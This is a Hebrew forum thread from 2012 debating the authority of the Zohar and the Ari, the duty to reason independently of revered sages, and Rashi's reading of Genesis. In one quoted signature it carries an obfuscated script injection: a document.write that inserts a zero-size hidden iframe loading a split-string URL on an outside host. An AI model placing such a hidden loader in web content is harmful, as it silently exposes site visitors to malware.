|
|
| נשלח ב-1/3/2012 17:09 |
 |
| |
נראה לי שקודם צריך להגדיר את ההבדל בין עובדה לתאוריה ומה הן הוכחות.
|
|
|
|
| נשלח ב-1/3/2012 18:14 |
|
| |
מסורתי
חובה עלינו ללמוד את התורה. מה שברור ברור. מה שלא, פונים אל המומחה. אין הפניה אל המומחה פוטרת אותנו ממאמץ עצמי. כמו כן, עלינו להבדיל בתוך החומר שנמסר לנו בשם מומחים אם הוא מספק פרשנות של פשט או שהוא רק משל שבא לומר דברים אחרים לגמרי.
וכן, אבחנות אלו מסורות לכל אדם. למרות שרבים כל כך נכשלים בהן.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-2/3/2012 12:40 |
|
| |
מיימוני
אשאל אותך שאלה
מה צריך לעשות כאשר ההגיון שלי או שלך נפגש עם דעת הזוהר/האריזל/אור החיים הקדוש או כל צדיקי האמת לדורותם?
האם יתכן שהזוהר כו' משקר בדבריו או שמא אנחנו לא זכינו לרדת לסוף דעתו הרחבה והעצומה??
(אני מדבר כאשר אין מחלוקת תורנית בענין)
|
|
|
|
| נשלח ב-2/3/2012 12:48 |
|
| |
ירוחם איך אפשר להוכיח לך שאתה טועה??
זה פשוט לא אפשרי!!
בשביל שנדע אם אתה טועה או לא (או אני) , אנחנו צריכים לקחת סוגיא וללמוד אותה ביחד ולראות ביחד איזה שיטת לימוד היא יותר נכונה??
איך נדע?? פשוט מאד! מה שיותר מסתדר הוא יותר אמיתי!! (לפי זה אפשר לענות למה ששאל אלי לעיל )
אם אתה תקח סוגיא - נניח את סוגית בריאת העולם- מדוע אלוהים ברא את העולם? - ואתה תסביר אותה בצורה יותר מסודרת מאיך שאני אסביר אותה - המסקנה היא - שמה שאתה אומר זה יותר נכון ממה שאני אומר, וכן להיפך
מסכים?
|
|
|
|
| נשלח ב-2/3/2012 13:04 |
|
| |
מסורתי על הזהר הרי חולקים כל ברי הדעה הוא מלא אי דיוקים- מאיפה הארי והאורח חיים וצדיקים אחרים לקחו את פרושיהם?
|
|
|
|
| נשלח ב-2/3/2012 15:17 |
|
| |
מסורתי
כאן מקום לגילוי נאות. איני רואה ב"זוהר" מקור מוסמך כלל אלא ספר מזוייף. צא וראה באשכול רב הדפים על "קדמות הזוהר". את האר"י איני מכיר אך לגבי תלמידו הרח"ו יש לי דעה שלילית ביותר, וגם זה תוכל לקרוא כאן בפורום.
אך אדון בשאלה העקרונית כיצד עלינו להתייחס לאלו שמוחזקים בעינינו כחכמים או שיש להם מקורות ידע "אחרים".
זה מתחלק לשנים.
אשר לחכמים מופלגים, אתה מוזמן לאשכול "אמונת חכמים של חכמים ואמונ"ח של ההמון" שבו ניסיתי להראות, בהתבסס על המקורות, עד ל"שרידי האש", כי חובתנו (ולא רק זכותנו) לעיין ולא לשאת פנים לאיש, ולו הגדול שבגדולים. כמובן, עלינו להתייחס אליו בדרך ארץ, אך אין עלינו לקבל דעתו אם איננו מבינים אותה ואם יש לנו נימוקים לדעה ההפוכה.
זאת כמובן בתנאי שאנו יודעים ומבינים על מה אנו מדברים. לשם כך צריך להשקיע וללמוד.
אשר לאפשרות השניה, של ידע לא דיסקורסיבי (=לא נרכש באופן הלימודי הרגיל) - ידע כזה, למשל על ידי גילוי שמיימי, אינו מחייב איש. כבר אמרו חכמים בגמרא: לא בשמים היא, מלמד שאין משגיחין בבת קול. וקל וחומר למי שמתהדר בגילויים מיסטיים שלמרות שיש להם הסכמה של הדורות האחרונים הם עדיין מפוקפקים ביותר מצד עצמם.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-2/3/2012 15:30 |
|
| |
| msorti כתב: |  | מיימוני
אשאל אותך שאלה
מה צריך לעשות כאשר ההגיון שלי או שלך נפגש עם דעת הזוהר/האריזל/אור החיים הקדוש או כל צדיקי האמת לדורותם?
האם יתכן שהזוהר כו' משקר בדבריו או שמא אנחנו לא זכינו לרדת לסוף דעתו הרחבה והעצומה??
(אני מדבר כאשר אין מחלוקת תורנית בענין)
|
|
אתה מבקש סתירות בין הגיונך שלך להגיונך שלך?
ההגיון שלך מוביל אותך לחשוב שיש מושג שנקרא "צדיקי האמת". מאיפה הגעת לזה ואיך אתה יודע מיהם?
|
|
|
|
|
| נשלח ב-2/3/2012 15:38 |
|
| |
מסורתי
הצעתך לפרשנות ביננו- לא מעשית. אנחנו לא מדברים באותה שפה, כפי שכתבת אתה למדת אצל ברסלב וחב"ד.
תורתם רחוקה ממני מרחק רב. גישתם והבנתם את התורה, אינה נראית לי בלשון המעטה.
רש"י הראשון בספר בראשית כותב- לא היה צריך לכתוב את התורה- אלא מהחודש הזה לכם ראש חודשים, הוא נותן תרוץ.
אבל בעיקר דבריו אתה מבין כי כל מעשי בראשית אין להם ערך, לא לימודי מחשבתי,- הסיפורים נכתבו למסור מסר מסוים. המסר חשוכ הסיפורים לא.
ואתה מיחס לא רק חשיבות לסיפורים- אלא מוסיף עליהם נופך אגדי נוסף של. תיקון העולם וקילקול העולם כביכול. וכו'
אבל נחזור לעיקר- אתה מחפש להתעמת איתי בפרשנות- על שאלה פשוטה שלי לא ענית! מה זה שמיים?
|
|
|
|
| נשלח ב-3/3/2012 18:49 |
|
| |
| ושםהאחר כתב: | | | מסורתי על הזהר הרי חולקים כל ברי הדעה הוא מלא אי דיוקים- מאיפה הארי והאורח חיים וצדיקים אחרים לקחו את פרושיהם? |
|
צדיקים לא משקרים, זה יסוד פשוט בכל היהדות כולה
|
|
|
|
| נשלח ב-3/3/2012 18:52 |
|
| |
| eli_s כתב: | | מיימוני
אשאל אותך שאלה
מה צריך לעשות כאשר ההגיון שלי או שלך נפגש עם דעת הזוהר/האריזל/אור החיים הקדוש או כל צדיקי האמת לדורותם?
האם יתכן שהזוהר כו' משקר בדבריו או שמא אנחנו לא זכינו לרדת לסוף דעתו הרחבה והעצומה??
(אני מדבר כאשר אין מחלוקת תורנית בענין)
אתה מבקש סתירות בין הגיונך שלך להגיונך שלך?
ההגיון שלך מוביל אותך לחשוב שיש מושג שנקרא "צדיקי האמת". מאיפה הגעת לזה ואיך אתה יודע מיהם? |
|
בלי צדיקי אמת אין בכלל משמעות ליהדות כי איש הישר בעיניו יעשה
בשביל לדעת מי הם צריך ללמוד על כך, וכמו שאי אפשר ללמוד שום תחום שהוא על ידי כתיבה בפורום הוא הדין כאן.
מי שרוצה ללמוד הוא ידע היכן ללמוד זאת
|
|
|
|
| נשלח ב-3/3/2012 18:54 |
|
| |
| ירוחםשמ כתב: | | מסורתי
הצעתך לפרשנות ביננו- לא מעשית. אנחנו לא מדברים באותה שפה, כפי שכתבת אתה למדת אצל ברסלב וחב"ד.
תורתם רחוקה ממני מרחק רב. גישתם והבנתם את התורה, אינה נראית לי בלשון המעטה.
רש"י הראשון בספר בראשית כותב- לא היה צריך לכתוב את התורה- אלא מהחודש הזה לכם ראש חודשים, הוא נותן תרוץ.
אבל בעיקר דבריו אתה מבין כי כל מעשי בראשית אין להם ערך, לא לימודי מחשבתי,- הסיפורים נכתבו למסור מסר מסוים. המסר חשוכ הסיפורים לא.
ואתה מיחס לא רק חשיבות לסיפורים- אלא מוסיף עליהם נופך אגדי נוסף של. תיקון העולם וקילקול העולם כביכול. וכו'
אבל נחזור לעיקר- אתה מחפש להתעמת איתי בפרשנות- על שאלה פשוטה שלי לא ענית! מה זה שמיים? |
|
מה ההוכחה שלך מרשי? וכי אתה לא יודע שהתורה נכתבה ב70 פנים לפי הפרדס הקדוש??
יש מהלך כזה של רשי שספר בראשית אינו מתאר את השתלשלות הבריאה אלא קטעים נבחרים ממנה
מה זה סותר לגבי חטא אדם הראשון??
(לגבי שמים וכד' זו עדין הוכחה שבלי פרוש אי אפשר להבין את התורה שבכתב..)
|
|
|
|
| נשלח ב-3/3/2012 19:01 |
|
| |
| מיימוני כתב: | | מסורתי
כאן מקום לגילוי נאות. איני רואה ב"זוהר" מקור מוסמך כלל אלא ספר מזוייף. צא וראה באשכול רב הדפים על "קדמות הזוהר". את האר"י איני מכיר אך לגבי תלמידו הרח"ו יש לי דעה שלילית ביותר, וגם זה תוכל לקרוא כאן בפורום.
אך אדון בשאלה העקרונית כיצד עלינו להתייחס לאלו שמוחזקים בעינינו כחכמים או שיש להם מקורות ידע "אחרים".
זה מתחלק לשנים.
אשר לחכמים מופלגים, אתה מוזמן לאשכול "אמונת חכמים של חכמים ואמונ"ח של ההמון" שבו ניסיתי להראות, בהתבסס על המקורות, עד ל"שרידי האש", כי חובתנו (ולא רק זכותנו) לעיין ולא לשאת פנים לאיש, ולו הגדול שבגדולים. כמובן, עלינו להתייחס אליו בדרך ארץ, אך אין עלינו לקבל דעתו אם איננו מבינים אותה ואם יש לנו נימוקים לדעה ההפוכה.
זאת כמובן בתנאי שאנו יודעים ומבינים על מה אנו מדברים. לשם כך צריך להשקיע וללמוד.
אשר לאפשרות השניה, של ידע לא דיסקורסיבי (=לא נרכש באופן הלימודי הרגיל) - ידע כזה, למשל על ידי גילוי שמיימי, אינו מחייב איש. כבר אמרו חכמים בגמרא: לא בשמים היא, מלמד שאין משגיחין בבת קול. וקל וחומר למי שמתהדר בגילויים מיסטיים שלמרות שיש להם הסכמה של הדורות האחרונים הם עדיין מפוקפקים ביותר מצד עצמם.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אתה רוצה להכנס לפרטים בנוגע לכתיבת הזוהר?? או לראות בתכלס שאין כמו ספר הזוהר??
מה שכתבת באשכול "קדמות הזוהר" וכד' הם טיעונים מוכרים וידועים שכמה וכמה מגדולי ישראל חשבו כך בטעות, ואחריהם נמשכת אתה.
זה לא חדש ואף נושא שנידוש המון זמן בין גדולי הדור למיניהם
נכון להיום 99 אחוז מגדולי הדור מאמינים בספר הזוהר וכמו כן בכתבי האריזל
מה יש לנו הקטנים לעומתם להוסיף בנושא זה??
(במה שכתבת לגבי אמונת חכמים - החסרת את היסוד הכי חשוב בנושא זה ובע"ה אכתוב על זה אשכול נוסף
אתה החסרת את הענין שצדיקים לא משקרים שעל זה בנוי כל המושג הזה נקרא אמונת חכמים לא מצד ההלכה כמובן אלא מצד תיקון וקלקול העולם ודבר בעיתו מה טוב)
|
|
|
|
|
| נשלח ב-3/3/2012 19:55 |
|
| |
מה ההוכחה שלך מרשי? וכי אתה לא יודע שהתורה נכתבה ב70 פנים לפי הפרדס הקדוש??
הפרדס הוא לא קדוש הפרדס הוא ר"ת של צורות הלימוד.- יש 70 פנים נכון- יד על הלב -כמה אתה מכיר. הרי אתה מסרב להכיר בפרשנות שלא מקובלת עלייך ואותה לא לימדו אותך.
יש מהלך כזה של רשי שספר בראשית אינו מתאר את השתלשלות הבריאה אלא קטעים נבחרים ממנה
מה זה סותר לגבי חטא אדם הראשון??
זה לא סותר כלום. אבל זה מעמיד בפרופוציה הנכונה את החטא הידוע מראש הזה, שבוצע כאמור כחלק אינטגרלי מהבריאה.
(לגבי שמים וכד' זו עדין הוכחה שבלי פרוש אי אפשר להבין את התורה שבכתב..)
יפה מאד אז נו מה הפרוש של המילה שמיים- איך אתה מפרש עם חז"ל ובלי חזל, עם חבד ועם ברסלב, מה פרוש שמיים?
אגב גם אחרים מוזמנים להגיד פשט של היום על המילה. יש תשובה- לא בטוח שתסכים אתה- אבל לך אין בינתיים פשט.
תוקן על ידי ירוחםשמ ב- 03/03/2012 19:56:44
|
|
|
|
| נשלח ב-3/3/2012 20:08 |
|
| |
| ירוחםשמ כתב: | | מה ההוכחה שלך מרשי? וכי אתה לא יודע שהתורה נכתבה ב70 פנים לפי הפרדס הקדוש??
הפרדס הוא לא קדוש הפרדס הוא ר"ת של צורות הלימוד.- יש 70 פנים נכון- יד על הלב -כמה אתה מכיר. הרי אתה מסרב להכיר בפרשנות שלא מקובלת עלייך ואותה לא לימדו אותך.
יש מהלך כזה של רשי שספר בראשית אינו מתאר את השתלשלות הבריאה אלא קטעים נבחרים ממנה
מה זה סותר לגבי חטא אדם הראשון??
זה לא סותר כלום. אבל זה מעמיד בפרופוציה הנכונה את החטא הידוע מראש הזה, שבוצע כאמור כחלק אינטגרלי מהבריאה.
(לגבי שמים וכד' זו עדין הוכחה שבלי פרוש אי אפשר להבין את התורה שבכתב..)
יפה מאד אז נו מה הפרוש של המילה שמיים- איך אתה מפרש עם חז"ל ובלי חזל, עם חבד ועם ברסלב, מה פרוש שמיים?
אגב גם אחרים מוזמנים להגיד פשט של היום על המילה. יש תשובה- לא בטוח שתסכים אתה- אבל לך אין בינתיים פשט.
תוקן על ידי ירוחםשמ ב- 03/03/2012 19:56:44 |
|
הפרדס כן קדוש כי התורה קדושה
אני לא מכיר אפילו פן אחד מהשבעים פנים (נו ומה זה אומר ומה זה שייך לדיון?! )
אני לא מסרב לקבל שום לימוד שהוא, העיקר שיהיה לימוד שלב אחרי שלב כמו לימוד הגמרא וכד' ולא סתם כל מיני סברות כרס למיניהם
"זה לא סותר כלום. אבל זה מעמיד בפרופוציה הנכונה את החטא הידוע מראש הזה, שבוצע כאמור כחלק אינטגרלי מהבריאה."
זה לא מעמיד בפרופורציה שום דבר כי זה לא קשור בכלל לחטא אדם הראשון
"יפה מאד אז נו מה הפרוש של המילה שמיים- איך אתה מפרש עם חז"ל ובלי חזל, עם חבד ועם ברסלב, מה פרוש שמיים? אגב גם אחרים מוזמנים להגיד פשט של היום על המילה. יש תשובה- לא בטוח שתסכים אתה- אבל לך אין בינתיים פשט."
נו אז אתה מודה שאי אפשר להבין את התורה שבכתב ללא פירוש?? (נ.ב - לא אמרתי שאין לי פשט)
|
|
|
|
| נשלח ב-3/3/2012 21:11 |
|
| |
| msorti כתב: | | מסורתי על הזהר הרי חולקים כל ברי הדעה הוא מלא אי דיוקים- מאיפה הארי והאורח חיים וצדיקים אחרים לקחו את פרושיהם?
צדיקים לא משקרים, זה יסוד פשוט בכל היהדות כולה |
|
חסיד אחד התפאר והילל את רבו על גילוי אליהו שיש לרבו.
ומי אמר לך שיש לו גילוי אליהו? נשאל ע"י קאלטער ליטוואק אפיקורס.
"מה זאת אומרת מי אמר לי?" התרעם החסיד "הרבי בכבודו אמר זאת".
"נו..הממ.. ומי אמר שהוא דובר אמת?" מנדנד הליטוואק.
"נראה לך שאדם שיש לו גילוי אליהו ישקר?" זעם בתמיהה החסיד.
|
|
|
|
|
